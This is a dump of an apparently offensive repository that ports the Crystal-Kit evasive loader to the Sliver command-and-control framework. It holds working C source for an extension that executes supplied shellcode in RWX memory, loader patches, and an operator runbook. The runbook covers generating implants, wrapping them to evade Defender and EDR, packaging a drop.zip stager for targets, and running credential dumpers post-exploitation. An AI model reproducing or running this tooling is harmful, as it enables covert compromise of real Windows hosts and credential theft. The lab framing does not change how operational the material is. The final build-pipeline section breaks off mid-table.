char* BeaconGetOutputData(int *outsize);
|
||||
#endif
|
||||
@@ -0,0 +1,103 @@
|
||||
/*
|
||||
* crystal-loader.c
|
||||
*
|
||||
* Sliver Extension DLL that loads and executes a Crystal Palace PICO blob
|
||||
* inside the Sliver implant memory.
|
||||
*
|
||||
* Sliver Extension entrypoint contract (matches COFFLoader's LoadAndRun):
|
||||
* int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
|
||||
*
|
||||
* argsBuffer layout (BeaconData serialization, single extract):
|
||||
* [pico_len: int32_le][pico_bytes: pico_len]
|
||||
*
|
||||
* PICO entrypoint convention:
|
||||
* The PICO is produced from postex-loader/loader.spec which uses
|
||||
* '+gofirst' so the symbol 'go' is placed at offset 0. The signature
|
||||
* matches postex-loader/src/loader.c:75:
|
||||
* void go(void * loader_arguments);
|
||||
* loader_arguments is unused after the Xenon patch (CS-specific path
|
||||
* commented out) — we pass NULL.
|
||||
*
|
||||
* Copyright (c) 2026 Simone Licitra
|
||||
* Licensed under the MIT License (see ../../../LICENSE).
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "beacon_compatibility.h"
|
||||
|
||||
#ifndef EXPORT
|
||||
#define EXPORT __declspec(dllexport)
|
||||
#endif
|
||||
|
||||
typedef int (*goCallback)(char *, int);
|
||||
typedef void (*pico_entry_t)(void *);
|
||||
|
||||
static void emit(goCallback cb, const char *msg)
|
||||
{
|
||||
if (cb == NULL) return;
|
||||
cb((char *)msg, (int)strlen(msg));
|
||||
}
|
||||
|
||||
EXPORT int __cdecl go(char *argsBuffer, uint32_t bufferSize, goCallback callback)
|
||||
{
|
||||
datap parser;
|
||||
int pico_size = 0;
|
||||
unsigned char *pico_data = NULL;
|
||||
|
||||
if (argsBuffer == NULL || bufferSize == 0) {
|
||||
emit(callback, "[crystal-loader] error: empty argsBuffer\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
BeaconDataParse(&parser, argsBuffer, (int)bufferSize);
|
||||
|
||||
pico_data = (unsigned char *)BeaconDataExtract(&parser, &pico_size);
|
||||
if (pico_data == NULL || pico_size <= 0) {
|
||||
emit(callback, "[crystal-loader] error: no PICO blob in arguments\n");
|
||||
return 2;
|
||||
}
|
||||
|
||||
/*
|
||||
* Allocate RWX. The PICO does its own VirtualProtect calls internally
|
||||
* (see postex-loader/src/loader.c fix_section_permissions). Starting
|
||||
* RWX simplifies the bootstrap; the PICO will lock down permissions
|
||||
* per-section as it loads the embedded DLL.
|
||||
*/
|
||||
void *pico_mem = VirtualAlloc(
|
||||
NULL,
|
||||
(SIZE_T)pico_size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
if (pico_mem == NULL) {
|
||||
emit(callback, "[crystal-loader] error: VirtualAlloc failed\n");
|
||||
return 3;
|
||||
}
|
||||
|
||||
memcpy(pico_mem, pico_data, (size_t)pico_size);
|
||||
|
||||
emit(callback, "[crystal-loader] executing PICO\n");
|
||||
|
||||
pico_entry_t entry = (pico_entry_t)pico_mem;
|
||||
entry(NULL);
|
||||
|
||||
/*
|
||||
* Intentionally NOT freeing pico_mem. Crystal Palace's loader chain
|
||||
* keeps hooks, sleep mask and Draugr stack-spoof resident next to
|
||||
* the loaded DLL for the entire beacon lifetime.
|
||||
*/
|
||||
|
||||
emit(callback, "[crystal-loader] PICO returned\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
|
||||
{
|
||||
(void)hinstDLL;
|
||||
(void)lpvReserved;
|
||||
(void)fdwReason;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
; smoketest.asm
|
||||
;
|
||||
; Minimal x64 shellcode used to validate the crystal-loader.x64.dll wrapper
|
||||
; on a Sliver implant WITHOUT depending on Crystal Palace.
|
||||
;
|
||||
; Signature expected by the wrapper: void entry(void* unused).
|
||||
; This shellcode immediately returns, so the wrapper's plumbing
|
||||
; (BeaconDataParse + VirtualAlloc + exec + return) can be exercised
|
||||
; end-to-end on a Windows lab target.
|
||||
;
|
||||
; Build: nasm -f bin smoketest.asm -o smoketest.bin
|
||||
|
||||
BITS 64
|
||||
|
||||
_start:
|
||||
; Microsoft x64 ABI: first arg in RCX (unused here).
|
||||
xor eax, eax ; return 0
|
||||
ret
|
||||
@@ -0,0 +1,199 @@
|
||||
# Porting Map — Crystal-Kit → crystal-kit-sliver
|
||||
|
||||
File-by-file mapping of upstream sources to this repository, with the literal Xenon-style patch applied to `postex-loader/`. Read this together with the project README before modifying any file under `loader/` or `postex-loader/`.
|
||||
|
||||
**Verified upstreams (snapshot @ 2026-04-03):**
|
||||
|
||||
- `rasta-mouse/Crystal-Kit` (MIT) — base implementation for Cobalt Strike
|
||||
- `nickswink/Crystal-Kit-Xenon` (MIT) — cross-C2 patch template for Mythic Xenon, applies 1:1 to Sliver
|
||||
|
||||
## 1. Inventory and action per file
|
||||
|
||||
### `loader/` (main reflective loader — Use case A)
|
||||
|
||||
Every file is a **verbatim copy** of the same path in `rasta-mouse/Crystal-Kit/loader/`. No modifications.
|
||||
|
||||
| File | Action |
|
||||
|---|---|
|
||||
| `Makefile` | copy 1:1 |
|
||||
| `loader.spec` | copy 1:1 |
|
||||
| `local-loader.spec` | copy 1:1 |
|
||||
| `pico.spec` | copy 1:1 |
|
||||
| `src/loader.c` + `loader.h` | copy 1:1 |
|
||||
| `src/services.c` | copy 1:1 |
|
||||
| `src/hooks.c` | copy 1:1 |
|
||||
| `src/spoof.c` + `spoof.h` | copy 1:1 |
|
||||
| `src/mask.c` + `mask.h` | copy 1:1 |
|
||||
| `src/cleanup.c` + `cleanup.h` | copy 1:1 |
|
||||
| `src/cfg.c` + `cfg.h` | copy 1:1 |
|
||||
| `src/pico.c` | copy 1:1 |
|
||||
| `src/draugr.asm` | copy 1:1 |
|
||||
| `src/memory.h`, `tcg.h` | copy 1:1 |
|
||||
|
||||
### `postex-loader/` (post-ex loader — Use case B)
|
||||
|
||||
Copied from `rasta-mouse/Crystal-Kit/postex-loader/` with **two patched files**. The patches are identical to `nickswink/Crystal-Kit-Xenon/postex-loader/` and replace Cobalt-Strike-specific glue with the Sliver-compatible variant.
|
||||
|
||||
| File | Action |
|
||||
|---|---|
|
||||
| `Makefile` | copy 1:1 |
|
||||
| `loader.spec` | **patched** (§2.1) |
|
||||
| `pico.spec` | copy 1:1 |
|
||||
| `src/loader.c` | **patched** (§2.2) |
|
||||
| `src/loader.h` | copy 1:1 |
|
||||
| `src/services.c`, `hooks.c`, `spoof.c` + `.h`, `draugr.asm` | copy 1:1 |
|
||||
| `src/cleanup.c` + `.h`, `cfg.c` + `.h`, `pico.c` | copy 1:1 |
|
||||
| `src/hash.h` | copy 1:1 (ror13 constants) |
|
||||
| `src/memory.h`, `tcg.h` | copy 1:1 |
|
||||
|
||||
### Root-level upstream files
|
||||
|
||||
| File | Action | Note |
|
||||
|---|---|---|
|
||||
| `Makefile` (top-level) | not copied | upstream version only chains into `loader/` and `postex-loader/`; replaced by our `sliver-glue/Makefile` |
|
||||
| `README.md` | replaced | new README in repo root + per-project README under `crystal-kit-sliver/` |
|
||||
| `LICENSE` | replaced | new MIT LICENSE under Simone Licitra; upstream rasta-mouse and nickswink MIT notices preserved in `NOTICE.md` |
|
||||
| `crystalkit.cna` | **NOT copied** | Aggressor Script is Cobalt-Strike-only; replaced by `sliver-glue/extension.json` + scripts |
|
||||
| `crystalkit.yar` | not copied (optional) | YARA self-detection rule; can be regenerated with Crystal Palace `-g` flag if needed |
|
||||
| `libtcg.x64.zip` | kept in tree | binary dependency referenced as `../libtcg.x64.zip` by both spec files; located at `crystal-kit-sliver/libtcg.x64.zip` |
|
||||
| `.gitattributes`, `.gitignore` | replaced | repo-specific |
|
||||
|
||||
## 2. Literal patches in `postex-loader/`
|
||||
|
||||
Both patches are byte-identical to `nickswink/Crystal-Kit-Xenon` and verified locally with `diff -u`.
|
||||
|
||||
### 2.1 `postex-loader/loader.spec`
|
||||
|
||||
```diff
|
||||
--- crystal-kit/postex-loader/loader.spec
|
||||
+++ crystal-kit-sliver/postex-loader/loader.spec
|
||||
@@ -6,13 +6,9 @@
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
- dfr "patch_resolve" "strings"
|
||||
+ dfr "patch_resolve" "ror13"
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
- # patch smart pointers in
|
||||
- patch "get_module_handle" $GMH
|
||||
- patch "get_proc_address" $GPA
|
||||
-
|
||||
# merge hooks into the loader
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
@@ -42,6 +38,11 @@
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
+ # DLL Args from File
|
||||
+ load %ARGFILE
|
||||
+ preplen
|
||||
+ link "dll_args"
|
||||
+
|
||||
# now get the tradecraft as a PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
```
|
||||
|
||||
**Per-line rationale:**
|
||||
|
||||
| Line change | Why |
|
||||
|---|---|
|
||||
| `dfr "patch_resolve" "strings"` → `"ror13"` | Cobalt Strike injects pre-resolved smart pointers (`$GMH`, `$GPA`) at build time, so `strings` mode is fine there. Sliver does not, so we need runtime ror13 hash resolution. |
|
||||
| `patch "get_module_handle" $GMH` | Removed. `$GMH` is a CS smart pointer; Sliver has nothing equivalent. |
|
||||
| `patch "get_proc_address" $GPA` | Removed. Same reason as above for `$GPA`. |
|
||||
| `load %ARGFILE … link "dll_args"` | Added. The post-ex DLL's runtime arguments are baked into a `dll_args` section at link time, read by the loader via `GETRESOURCE` at execution. |
|
||||
|
||||
### 2.2 `postex-loader/src/loader.c`
|
||||
|
||||
```diff
|
||||
--- crystal-kit/postex-loader/src/loader.c (139 lines)
|
||||
+++ crystal-kit-sliver/postex-loader/src/loader.c (143 lines)
|
||||
@@ -10,6 +10,7 @@
|
||||
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
|
||||
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
|
||||
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
|
||||
+char _DLLARGS_ [ 0 ] __attribute__ ( ( section ( "dll_args" ) ) );
|
||||
|
||||
int __tag_setup_hooks ( );
|
||||
int __tag_setup_memory ( );
|
||||
|
||||
@@ -132,9 +133,12 @@
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
+ /* Pointer to DLL arguments */
|
||||
+ char * dll_arguments = GETRESOURCE ( _DLLARGS_ );
|
||||
+
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
- entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
- entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments );
|
||||
+ entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, dll_arguments );
|
||||
+ // entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
|
||||
}
|
||||
```
|
||||
|
||||
**Per-line rationale:**
|
||||
|
||||
| Line | Why |
|
||||
|---|---|
|
||||
| `_DLLARGS_` section attribute | Declares an empty 0-length array tied to the `dll_args` section so the linker can emit a symbol the loader can address. |
|
||||
| `dll_arguments = GETRESOURCE(_DLLARGS_)` | Reads the section data at runtime. `GETRESOURCE` is a macro defined in `memory.h` (upstream). |
|
||||
| `DllMain(... , dll_arguments)` | Forwards the embedded arguments as `lpReserved` of `DllMain`. The wrapped DLL can ignore them or parse them. |
|
||||
| Second `entry_point(... , 0x4, loader_arguments)` commented out | Reason code `0x4` is a Beacon-specific second entrypoint used by Cobalt Strike post-ex DLLs (e.g. `RDLL_GENERATE` callback). Sliver does not need it. |
|
||||
|
||||
**Whitespace note:** the `dll_arguments` line in the Xenon fork uses a TAB instead of 4 spaces, and the file has no trailing newline. Preserved verbatim for byte-identity with the upstream fork.
|
||||
|
||||
## 3. CS-specific concepts → Sliver mapping
|
||||
|
||||
| Cobalt Strike concept | Where it lives in CS | Sliver equivalent |
|
||||
|---|---|---|
|
||||
| `BEACON_RDLL_GENERATE` Aggressor hook | Server-side script run during stager generation | Build-time wrapper script: `sliver-glue/generate-implant.sh` |
|
||||
| `POSTEX_RDLL_GENERATE` Aggressor hook | Server-side script run during post-ex DLL generation | Build-time wrapper script: `sliver-glue/generate.sh` |
|
||||
| `BEACON_RDLL_GENERATE_LOCAL` | Stageless variant | Same script with `--profile` mode (or `--dll`) |
|
||||
| `$GMH` smart pointer (kernel32!GetModuleHandleA) | Injected at build time | None — resolved at runtime via ror13 hash |
|
||||
| `$GPA` smart pointer (kernel32!GetProcAddress) | Injected at build time | None — same as above |
|
||||
| `$DLL` | Beacon DLL passed by CS server | Sliver implant DLL passed by `generate-implant.sh` |
|
||||
| `$MASK` | XOR key generated by Crystal Palace | Identical — generated in `.spec` with `generate $MASK 128` |
|
||||
| `%ARGFILE` (introduced by Xenon) | Path to args file at build time | Identical — passed as positional `%ARGFILE=...` to `./link` |
|
||||
| `DllMain` reason `0x4` | CS Beacon post-ex second call | Inexistent on Sliver — commented out in `loader.c` |
|
||||
|
||||
## 4. Sliver Extension model
|
||||
|
||||
The post-ex pipeline (Use case B) produces a PICO `.bin`, but Sliver Extensions are loaded as DLLs into the implant runtime. The bridge is `crystal-kit-sliver/sliver-glue/wrapper/crystal-loader.c`:
|
||||
|
||||
- exports a single function `go(char *argsBuffer, uint32_t bufferSize, goCallback callback)` matching COFFLoader's `LoadAndRun` signature
|
||||
- parses `argsBuffer` via `BeaconDataParse` / `BeaconDataExtract` (BOF compatibility layer from TrustedSec COFFLoader, BSD-3-Clause)
|
||||
- allocates RWX memory, copies the PICO blob, jumps to offset 0 (the `+gofirst` flag in `loader.spec` guarantees the `go` symbol lands there)
|
||||
|
||||
The manifest `crystal-kit-sliver/sliver-glue/extension.json` declares:
|
||||
|
||||
```json
|
||||
{
|
||||
"name": "crystal-loader",
|
||||
"command_name": "crystal",
|
||||
"entrypoint": "go",
|
||||
"files": [{"os":"windows","arch":"amd64","path":"crystal-loader.x64.dll"}],
|
||||
"arguments": [{"name":"payload","type":"file","optional":false}]
|
||||
}
|
||||
```
|
||||
|
||||
Schema validated against the live `sliverarmory/CredManBOF` and `sliverarmory/COFFLoader` manifests at the time of writing.
|
||||
|
||||
## 5. Files that fix at packaging time
|
||||
|
||||
| Sliver-glue file | Produced by | Consumed by |
|
||||
|---|---|---|
|
||||
| `crystal-loader.x64.dll` | `sliver-glue/wrapper/Makefile` | Sliver implant runtime |
|
||||
| `crystal-loader-0.1.0.tar.gz` | `sliver-glue/pack-extension.sh` | Sliver client `extensions install` |
|
||||
| `<name>.crystal.bin` (PICO) | `sliver-glue/generate-implant.sh` or `generate.sh` | Crystal Palace stager (`run.x64.exe`) or `crystal` Sliver command |
|
||||
| `drop.zip` | `sliver-glue/bundle-implant.sh` | Operator manual delivery to target |
|
||||
|
||||
## 6. Attribution checklist (required by upstream licenses)
|
||||
|
||||
- `NOTICE.md` reproduces copyright notices for rasta-mouse (Crystal-Kit), nickswink (Crystal-Kit-Xenon), TrustedSec (COFFLoader BOF compat), Raphael Mudge / AFF-WG (Crystal Palace), plus bundled iced (MIT) and JSON-java (CC0).
|
||||
- Source files copied verbatim retain their original copyright headers where present.
|
||||
- `crystal-loader.c` carries a fresh MIT header (Simone Licitra) since it is newly written.
|
||||
+355
@@ -0,0 +1,355 @@
|
||||
# Runbook — Operator Procedure (Kali → Windows lab)
|
||||
|
||||
End-to-end procedure to build the kit on Kali and execute on a Windows x64 lab target. Two distinct use cases:
|
||||
|
||||
- **Use case A (PRIMARY)** — implant evasion. The Sliver DLL is wrapped with Crystal Palace into a PICO and delivered with a stager. The raw Sliver DLL never touches disk on the target.
|
||||
- **Use case B (SECONDARY)** — post-ex evasion. With a session already active, run sensitive DLLs (recon, credential dumpers) through Crystal Palace via the Sliver Extension.
|
||||
|
||||
The two flows share the same build pipeline and Crystal Palace distribution but produce different artifacts.
|
||||
|
||||
---
|
||||
|
||||
## Phase 0 — One-time setup on Kali
|
||||
|
||||
### 0.1 Install toolchain
|
||||
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install -y mingw-w64 nasm default-jdk make zip git curl
|
||||
```
|
||||
|
||||
Verify:
|
||||
|
||||
```bash
|
||||
x86_64-w64-mingw32-gcc --version | head -1 # MinGW-w64 GCC
|
||||
nasm --version # >= 2.15
|
||||
java -version # >= 11
|
||||
```
|
||||
|
||||
### 0.2 Get the repo on Kali
|
||||
|
||||
(Whatever transfer method you chose: `rsync`, USB, private Git remote, etc.)
|
||||
|
||||
```bash
|
||||
cd ~/crystal-kit-sliver
|
||||
ls # should see README.md, crystal-kit-sliver/, docs/, LICENSE, NOTICE.md
|
||||
```
|
||||
|
||||
### 0.3 Download Crystal Palace dist (BSD, Raphael Mudge)
|
||||
|
||||
```bash
|
||||
mkdir -p external/crystalpalace
|
||||
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
|
||||
| tar -xz -C external/crystalpalace/
|
||||
chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}
|
||||
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
|
||||
```
|
||||
|
||||
Sanity check:
|
||||
|
||||
```bash
|
||||
ls "$CRYSTAL_PALACE_HOME"/crystalpalace.jar
|
||||
"$CRYSTAL_PALACE_HOME"/link 2>&1 | head -3
|
||||
```
|
||||
|
||||
Expected: `Usage: ./link <loader.spec> <file.dll|file.o> <out.bin> ...`
|
||||
|
||||
### 0.4 Get `libtcg.x64.zip` from upstream Crystal-Kit
|
||||
|
||||
```bash
|
||||
git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck
|
||||
cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/
|
||||
rm -rf /tmp/ck
|
||||
ls -la crystal-kit-sliver/libtcg.x64.zip
|
||||
```
|
||||
|
||||
### 0.5 Install Sliver
|
||||
|
||||
```bash
|
||||
curl https://sliver.sh/install | sudo bash
|
||||
sudo systemctl enable --now sliver
|
||||
sliver-server
|
||||
```
|
||||
|
||||
Inside the `sliver-server` console:
|
||||
|
||||
```
|
||||
[server] sliver > new-operator --name operator1 --lhost <kali-ip>
|
||||
# saves operator1_<host>.cfg in the working dir
|
||||
[server] sliver > exit
|
||||
```
|
||||
|
||||
In another terminal:
|
||||
|
||||
```bash
|
||||
sliver-client import ./operator1_<host>.cfg
|
||||
sliver-client
|
||||
```
|
||||
|
||||
### 0.6 Prepare the Windows VM
|
||||
|
||||
- Windows 10/11 x64, isolated network with the Kali host
|
||||
- Defender disabled or with the build dir excluded **only for the first smoke test** (to factor out detection from the wrapper plumbing)
|
||||
- Network reachability from VM → Kali on the listener port you'll use (80 by default)
|
||||
|
||||
---
|
||||
|
||||
## Phase 1 — Smoke test (validate the wrapper, no Crystal Palace yet)
|
||||
|
||||
Goal: prove that the `crystal-loader.x64.dll` Sliver Extension loads inside the implant and executes an arbitrary shellcode passed as argument. Does **not** require `crystalpalace.jar`.
|
||||
|
||||
### 1.1 Build the wrapper + smoke shellcode
|
||||
|
||||
```bash
|
||||
cd crystal-kit-sliver/sliver-glue
|
||||
make -C wrapper all
|
||||
make -C wrapper smoketest
|
||||
./pack-extension.sh
|
||||
ls -la build/
|
||||
```
|
||||
|
||||
Expected files:
|
||||
|
||||
- `crystal-loader.x64.dll` (~114 KB, in `sliver-glue/` parent)
|
||||
- `build/smoketest.bin` (3 bytes: `31 c0 c3` = `xor eax,eax; ret`)
|
||||
- `build/crystal-loader-0.1.0.tar.gz` (~37 KB)
|
||||
|
||||
### 1.2 Start an HTTP listener
|
||||
|
||||
In the Sliver client:
|
||||
|
||||
```
|
||||
sliver > http -L 0.0.0.0 -l 80
|
||||
[*] Started HTTP listener (job 1)
|
||||
```
|
||||
|
||||
### 1.3 Generate a standard (unwrapped) Sliver implant for the smoke test
|
||||
|
||||
For Phase 1 only, we want a working implant **without** Crystal Palace so we can isolate the Extension's behaviour from any loader issue.
|
||||
|
||||
```
|
||||
sliver > profiles new --http <kali-ip>:80 --format shared smoke
|
||||
sliver > profiles generate --profile smoke --save /tmp/smoke.dll
|
||||
```
|
||||
|
||||
### 1.4 Run the implant on the Windows VM
|
||||
|
||||
Copy `/tmp/smoke.dll` to the VM and load it:
|
||||
|
||||
```cmd
|
||||
C:\> rundll32.exe smoke.dll,RunDLL
|
||||
```
|
||||
|
||||
Wait for the session in the Sliver console:
|
||||
|
||||
```
|
||||
[*] Session 1 - WIN10-LAB ...
|
||||
sliver > use 1
|
||||
sliver (WIN10-LAB) >
|
||||
```
|
||||
|
||||
### 1.5 Install the Extension and run the smoke test
|
||||
|
||||
```
|
||||
sliver (WIN10-LAB) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz
|
||||
[*] Installed extension: crystal-loader
|
||||
|
||||
sliver (WIN10-LAB) > crystal payload=./crystal-kit-sliver/sliver-glue/build/smoketest.bin
|
||||
[crystal-loader] executing PICO
|
||||
[crystal-loader] PICO returned
|
||||
```
|
||||
|
||||
If you see those two lines and the implant survives, the Extension plumbing works end-to-end.
|
||||
|
||||
### 1.6 Common Phase 1 failures
|
||||
|
||||
| Symptom | Likely cause | Fix |
|
||||
|---|---|---|
|
||||
| `extensions install` fails with JSON error | Manifest schema drift | Compare `extension.json` against a live armory extension (e.g. `sliverarmory/COFFLoader`) |
|
||||
| `crystal` command not registered | Silent install failure | `extensions list` — if absent, re-run install with `--force` |
|
||||
| Implant crashes immediately | `"file"` argument type not handled the way we assume | Switch the manifest arg to `"string"`, upload payload via `upload`, pass target-side path |
|
||||
| `[crystal-loader]` output never appears | `BeaconOutput` callback not routed | Check Sliver server logs at `~/.sliver/logs/sliver.log` |
|
||||
|
||||
---
|
||||
|
||||
## Phase 2 — Use case A (implant evasion, primary)
|
||||
|
||||
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the bundled stager. Defender / EDR sees only the stager and a position-independent blob; the actual Sliver DLL is XOR-masked inside the PICO until runtime unmask.
|
||||
|
||||
### 2.1 Build Crystal-Kit objects
|
||||
|
||||
```bash
|
||||
cd crystal-kit-sliver
|
||||
make -C loader all
|
||||
make -C postex-loader all # technically optional for Phase 2, useful for Phase 3
|
||||
```
|
||||
|
||||
Expected: `loader/bin/` has 8 `.o` + 1 `.bin`.
|
||||
|
||||
### 2.2 Generate a fresh Sliver implant DLL
|
||||
|
||||
```
|
||||
sliver > profiles new --http <kali-ip>:80 --format shared prod
|
||||
sliver > profiles generate --profile prod --save /tmp/prod.dll
|
||||
```
|
||||
|
||||
`--format shared` produces a raw DLL (not shellcode-packed) — Crystal Palace needs the DLL form.
|
||||
|
||||
### 2.3 Wrap with Crystal Palace
|
||||
|
||||
```bash
|
||||
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /tmp/prod.dll \
|
||||
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin
|
||||
```
|
||||
|
||||
Expected output: PICO ~110-120 KB, written to `build/prod.crystal.bin`.
|
||||
|
||||
### 2.4 Bundle with the stager
|
||||
|
||||
```bash
|
||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
||||
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \
|
||||
crystal-kit-sliver/sliver-glue/build/drop.zip
|
||||
```
|
||||
|
||||
Resulting `drop.zip` (~180 KB) contains:
|
||||
|
||||
- `run.x64.exe` (Crystal Palace stager, BSD)
|
||||
- `prod.crystal.bin` (your PICO)
|
||||
- `README.txt` (operator notes)
|
||||
|
||||
### 2.5 Drop on the Windows VM
|
||||
|
||||
Transfer `drop.zip` to the VM through the channel that matches your engagement (scp from operator, USB, SMB share, HTTP serving, etc.). Extract and execute:
|
||||
|
||||
```cmd
|
||||
C:\Users\Public> unzip drop.zip
|
||||
C:\Users\Public> run.x64.exe prod.crystal.bin
|
||||
```
|
||||
|
||||
Execution order inside `run.x64.exe`:
|
||||
|
||||
1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory
|
||||
2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there)
|
||||
3. Crystal Palace loader resolves the Win32 APIs it needs via ror13 hashing
|
||||
4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
|
||||
5. Installs Draugr call-stack spoof
|
||||
6. Unmasks (XOR) the embedded Sliver DLL
|
||||
7. Calls Sliver's `DllMain(DLL_PROCESS_ATTACH)`
|
||||
8. Sliver implant initializes and beacons home
|
||||
|
||||
On the Sliver console:
|
||||
|
||||
```
|
||||
[*] Session 2 - WIN10-LAB ...
|
||||
sliver > use 2
|
||||
sliver (WIN10-LAB) > whoami
|
||||
```
|
||||
|
||||
### 2.6 Iteration: measure detection
|
||||
|
||||
- Re-enable Defender / EDR before subsequent tests
|
||||
- Use `external/crystalpalace/dist/link ... -g out.yar` to generate YARA rules against your build, useful for guessing the EDR signature surface
|
||||
- Tweak the `.spec` (e.g. remove `mergelib libtcg.x64.zip` for a leaner build, or swap Draugr for a no-op) and rebuild
|
||||
|
||||
---
|
||||
|
||||
## Phase 3 — Use case B (post-ex evasion, secondary)
|
||||
|
||||
Prerequisite: an active session (from Phase 1, Phase 2, or any other vector).
|
||||
|
||||
### 3.1 Build a post-ex DLL
|
||||
|
||||
Either yours or a public one (e.g. a recon DLL, a credential dumper, a custom enumerator). Must be Windows x64 and export `DllMain`. Args may be empty or required depending on the DLL.
|
||||
|
||||
### 3.2 Wrap with Crystal Palace
|
||||
|
||||
```bash
|
||||
echo "" > /tmp/empty.args # or actual args specific to your DLL
|
||||
./crystal-kit-sliver/sliver-glue/generate.sh \
|
||||
/path/to/postex.dll \
|
||||
/tmp/empty.args \
|
||||
crystal-kit-sliver/sliver-glue/build/postex.pico.bin
|
||||
```
|
||||
|
||||
Args are baked into the PICO at link time (Xenon-style `%ARGFILE`).
|
||||
|
||||
### 3.3 Install the Sliver Extension (one-time)
|
||||
|
||||
If not already done in Phase 1:
|
||||
|
||||
```
|
||||
sliver (WIN10-LAB) > extensions install ./crystal-kit-sliver/sliver-glue/build/crystal-loader-0.1.0.tar.gz
|
||||
```
|
||||
|
||||
### 3.4 Execute the post-ex PICO
|
||||
|
||||
```
|
||||
sliver (WIN10-LAB) > crystal payload=./crystal-kit-sliver/sliver-glue/build/postex.pico.bin
|
||||
[crystal-loader] executing PICO
|
||||
... (your DLL's output via BeaconPrintf)
|
||||
[crystal-loader] PICO returned
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Phase 4 — Cleanup / rollback
|
||||
|
||||
End-of-engagement:
|
||||
|
||||
```
|
||||
sliver > extensions remove crystal-loader
|
||||
sliver > sessions kill <id>
|
||||
sliver > jobs kill <id>
|
||||
```
|
||||
|
||||
Windows VM:
|
||||
|
||||
```cmd
|
||||
C:\> taskkill /F /IM run.x64.exe
|
||||
```
|
||||
|
||||
Local Kali build artifacts:
|
||||
|
||||
```bash
|
||||
make -C crystal-kit-sliver/loader clean
|
||||
make -C crystal-kit-sliver/postex-loader clean
|
||||
make -C crystal-kit-sliver/sliver-glue/wrapper clean
|
||||
rm -rf crystal-kit-sliver/sliver-glue/build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Quick smoke test on Kali (sanity check before going to the lab)
|
||||
|
||||
Run this end-to-end from a freshly cloned repo. Should complete in under 30 seconds without errors and without an actual Sliver implant DLL:
|
||||
|
||||
```bash
|
||||
cd ~/crystal-kit-sliver
|
||||
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
|
||||
|
||||
make -C crystal-kit-sliver/loader all
|
||||
make -C crystal-kit-sliver/postex-loader all
|
||||
make -C crystal-kit-sliver/sliver-glue/wrapper all
|
||||
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
|
||||
|
||||
echo "" > /tmp/empty.args
|
||||
./crystal-kit-sliver/sliver-glue/generate.sh \
|
||||
external/crystalpalace/dist/demo/test.x64.dll \
|
||||
/tmp/empty.args \
|
||||
crystal-kit-sliver/sliver-glue/build/test-postex.pico.bin
|
||||
|
||||
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll \
|
||||
external/crystalpalace/dist/demo/test.x64.dll \
|
||||
crystal-kit-sliver/sliver-glue/build/test-implant.bin
|
||||
|
||||
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \
|
||||
crystal-kit-sliver/sliver-glue/build/test-implant.bin \
|
||||
crystal-kit-sliver/sliver-glue/build/test-drop.zip
|
||||
|
||||
./crystal-kit-sliver/sliver-glue/pack-extension.sh
|
||||
|
||||
ls -la crystal-kit-sliver/sliver-glue/build/
|
||||
```
|
||||
|
||||
If all four artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-drop.zip`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
|
||||
@@ -0,0 +1,167 @@
|
||||
# Toolchain & Build Pipeline
|
||||
|
||||
Build prerequisites, verified versions, and the actual pipeline used to produce PICO blobs and the Sliver Extension DLL.
|
||||
|
||||
> Anything marked **verified** was tested locally on macOS Apple Silicon with the listed versions. Linux equivalents (Debian/Ubuntu/Kali) should behave identically.
|
||||
|
||||
## 1. Required tools
|
||||
|
||||
| Tool | Tested version | Purpose | Install (Debian/Kali) | Install (macOS) |
|
||||
|---|---|---|---|---|
|
||||
